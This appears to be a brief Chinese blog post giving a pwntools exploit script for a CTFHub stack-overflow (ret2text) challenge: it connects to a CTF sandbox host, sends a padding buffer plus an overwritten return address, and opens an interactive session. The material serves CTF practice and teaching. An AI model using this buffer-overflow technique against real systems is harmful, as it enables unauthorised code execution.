CTFHub 栈溢出 ret2text exp代码

在这里插入图片描述

exp代码:

from pwn import *
host='challenge-1868f48f1e630fd3.sandbox.ctfhub.com'
port=27988
p=connect(host,port)
payload = b'A' * 0x78 +p64(0x4007b8)
p.sendline(payload)
p.interactive()

效果:

在这里插入图片描述

posted @ 2022-04-24 22:23  CVE-柠檬i  阅读(182)  评论(0)    收藏  举报